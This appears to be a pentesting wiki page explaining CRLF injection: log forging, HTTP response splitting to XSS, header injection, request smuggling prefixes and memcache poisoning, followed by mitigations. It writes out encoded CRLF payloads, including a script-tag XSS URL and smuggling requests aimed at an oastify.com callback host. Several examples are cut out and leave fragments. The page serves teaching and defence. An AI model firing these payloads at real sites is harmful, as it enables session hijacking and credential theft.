CRLF (%0D%0A) Injection
Last updated
Last updated
Reading time: 10 minutes
Carriage Return (CR) and Line Feed (LF), collectively known as CRLF, are special character sequences used in the HTTP protocol to denote the end of a line or the start of a new one. Web servers and browsers use CRLF to distinguish between HTTP headers and the body of a response. These characters are universally employed in HTTP/1.1 communications across various web server types, such as Apache and Microsoft IIS.
CRLF injection involves the insertion of CR and LF characters into user-supplied input. This action misleads the server, application, or user into interpreting the injected sequence as the end of one response and the beginning of another. While these characters are not inherently harmful, their misuse can lead to HTTP response splitting and other malicious activities.
Consider a log file in an admin panel that follows the format: IP - Time - Visited Path. A typical entry might look like:
An attacker can exploit a CRLF injection to manipulate this log. By injecting CRLF characters into the HTTP request, the attacker can alter the output stream and fabricate log entries. For instance, an injected sequence might transform the log entry into:
Here, %0d and %0a represent the URL-encoded forms of CR and LF. Post-attack, the log would misleadingly display:
The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with %0d%0a as a single parameter, while the restrictedaction parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: /index.php?page=home&restrictedaction=edit
HTTP Response Splitting is a security vulnerability that arises when an attacker exploits the structure of HTTP responses. This structure separates headers from the body using a specific character sequence, Carriage Return (CR) followed by Line Feed (LF), collectively termed as CRLF. If an attacker manages to insert a CRLF sequence into a response header, they can effectively manipulate the subsequent response content. This type of manipulation can lead to severe security issues, notably Cross-site Scripting (XSS).
The application sets a custom header like this: X-Custom-Header: UserInput
The application fetches the value for UserInput from a query parameter, say "user_input". In scenarios lacking proper input validation and encoding, an attacker can craft a payload that includes the CRLF sequence, followed by malicious content.
An attacker crafts a URL with a specially crafted 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
In this URL, %0d%0a%0d%0a is the URL-encoded form of CRLFCRLF. It tricks the server into inserting a CRLF sequence, making the server treat the subsequent part as the response body.
The server reflects the attacker's input in the response header, leading to an unintended response structure where the malicious script is interpreted by the browser as part of the response body.
Browser to:
And the server responses with the header:
Check more examples in:
HTTP Header Injection, often exploited through CRLF (Carriage Return and Line Feed) injection, allows attackers to insert HTTP headers. This can undermine security mechanisms such as XSS (Cross-Site Scripting) filters or the SOP (Same-Origin Policy), potentially leading to unauthorized access to sensitive data, such as CSRF tokens, or the manipulation of user sessions through cookie planting.
An attacker can inject HTTP headers to enable CORS (Cross-Origin Resource Sharing), bypassing the restrictions imposed by SOP. This breach allows scripts from malicious origins to interact with resources from a different origin, potentially accessing protected data.
CRLF injection can be utilized to craft and inject an entirely new HTTP request. A notable example of this is the vulnerability in PHP's SoapClient class, specifically within the user_agent parameter. By manipulating this parameter, an attacker can insert additional headers and body content, or even inject a new HTTP request entirely. Below is a PHP example demonstrating this exploitation:
php
You can inject essential headers to ensure the back-end keeps the connection open after responding to the initial request:
Exploitation:
Malicious Prefix Injection: This method involves poisoning the next user's request or a web cache by specifying a malicious prefix. An example of this is:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
Crafting a Prefix for Response Queue Poisoning: This approach involves creating a prefix that, when combined with trailing junk, forms a complete second request. This can trigger response queue poisoning. An example is:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache is a key-value store that uses a clear text protocol. More info in:
If a platform is taking data from an HTTP request and using it without sanitizing it to perform requests to a memcache server, an attacker could abuse this behaviour to inject new memcache commands.
For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to inject memcache comands that would poison the cache to send the vistims details (usrnames and passwords included) to the attacker servers:
Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:
To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Injections in web applications, the following strategies are recommended:
Avoid Direct User Input in Response Headers: The safest approach is to refrain from incorporating user-supplied input directly into response headers.
Encode Special Characters: If avoiding direct user input is not feasible, ensure to employ a function dedicated to encoding special characters like CR (Carriage Return) and LF (Line Feed). This practice prevents the possibility of CRLF injection.
Update Programming Language: Regularly update the programming language used in your web applications to the latest version. Opt for a version that inherently disallows the injection of CR and LF characters within functions tasked with setting HTTP headers.
From
Other example: (from )
You can send the payload inside the URL path to control the response from the server (example from ):
For more info about this technique and potential problems .
Afterward, a second request can be specified. This scenario typically involves , a technique where extra headers or body elements appended by the server post-injection can lead to various security exploits.
For the full information read the
